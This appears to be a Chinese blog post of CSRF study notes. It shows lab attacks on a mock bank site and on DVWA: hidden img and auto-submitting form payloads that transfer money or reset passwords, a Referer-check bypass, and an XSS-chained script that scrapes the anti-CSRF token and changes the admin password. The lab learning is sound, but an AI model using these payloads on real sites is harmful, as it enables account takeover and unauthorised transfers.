• csrf学习笔记总结


    跨站请求伪造csrf

    csrf概述

    csrf原理

    ​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

    ​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

    关键点
    • 受害者没有退出登录,受害者保持身份认证。

    • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。

    • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

    目标

    ​ CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

    ​ CSRF 的场景中,攻击者是没有办法获得服务器的响应。

    csrf场景

    银行账户转账

    搭建模拟银行网站 http://10.4.7.130/bank/

    image-20231113103010207

    构造虚假网站

    构造CSRF 攻击连接

    
    
    宝刀在手,谁与争锋
    • 1
    • 2
    • 3
    • 4
    • 5
    • 攻击者通过 标签构造GET 请求。

    • 浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息

    场景建模

    image-20231113103204599

    起初admin用户账户余额70499

    image-20231113104724450

    使用hello用户向admin用户转账1元

    image-20231113104803295

    再次查看admin用户余额,增加一元,由此可见功能正常

    image-20231113104853923

    开始csrf

    构造跳转网页及功能实现

    get请求csrf

    <meta charset='utf-8'>
    <img src='./1.jpg'><br />
    <img src='http://10.4.7.164/bank/action.php?
    username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
    alt='宝刀在手,谁与争锋'>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    post请求csrf

    <meta charset='utf-8'>
    <form name='csrf' action='http://10.4.7.164/bank/action.php' method='post'>
    <input type='hidden' name='username' value='hacker'>
    <input type='hidden' name='money' value='100'>
    form>
    <script>document.csrf.submit()script>
    <img src="./1.jpg" ><br />
    
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); // Feedback for the user echo "
    Password Changed.
    "
    ; } else { // Issue with passwords matching echo "
    Passwords did not match.
    "
    ; } } else { // Didn't come from a trusted source echo "
    That request didn't look correct.
    "
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    以下操作需要使用ie浏览器,且为三台不同的虚拟机

    换另一台虚拟机10.9.47.217

    写一个img标签,将url放进去

    <img src="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change">
    
    • 1

    然后将该html文件名命名为10.9.47.221.html 因为会检查refer中有没有servername,文件名中包含也算,然后去除了这两台虚拟机之外的另外一台虚拟机

    先访问221的的dvwa靶场,然后访问217的修改密码的html文件,登出过后会发现密码已经修改

    以上为非本地靶场操作

    本地搭建靶场直接抓包修改或者构造一个简单的img直接访问即可

    high

     
    
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); // Feedback for the user echo "
    Password Changed.
    "
    ; } else { // Issue with passwords matching echo "
    Passwords did not match.
    "
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    触发url

    http://10.9.47.221/dvwa_2.0.1/vulnerabilities/xss_d/?default=English#
    
    • 1

    将此脚本写成js文件

    alert(document.cookie);
    var theurl="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/";
    if(window.XMLHttpRequest){
        xmlhttp=new XMLHttpRequest();
    }else{
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    var count = 0;
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200){
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
            var token = match[1];
            var new_url = "http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token="+token;
            
            if(count==0){
                count++;
                xmlhttp.open("GET",new_url,false);
                xmlhttp.send();
            }
    
        }
    }
    xmlhttp.open("GET",theurl,false);
    xmlhttp.send();
    # 其中ip为靶场的ip
    
    将该脚本文件放到非靶场位置的虚拟机也可成功修改密码,依托于dom型的xss完成,如果写成html访问会受到同源策略的影响
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
  • 相关阅读:
    SpringBoot 3.0最低版本要求的JDK 17,这几个新特性不能不知道
    Java判断字符串、对象、list是否为空总结
    手写promise
    xv6第一章:Operating system interfaces
    小程序搭建OA项目首页布局界面
    Android 广播的注册和收发原理
    dom4j读取xml内容时丢失换行符
    〖Python 数据库开发实战 - Redis篇④〗- Redis命令行客户端与图形客户端的简单使用
    navigator.clipboard 读取剪贴板和写入剪贴板
    Halcon实用:焊点检出设计思路
  • 原文地址:https://blog.csdn.net/qq_58683895/article/details/134422600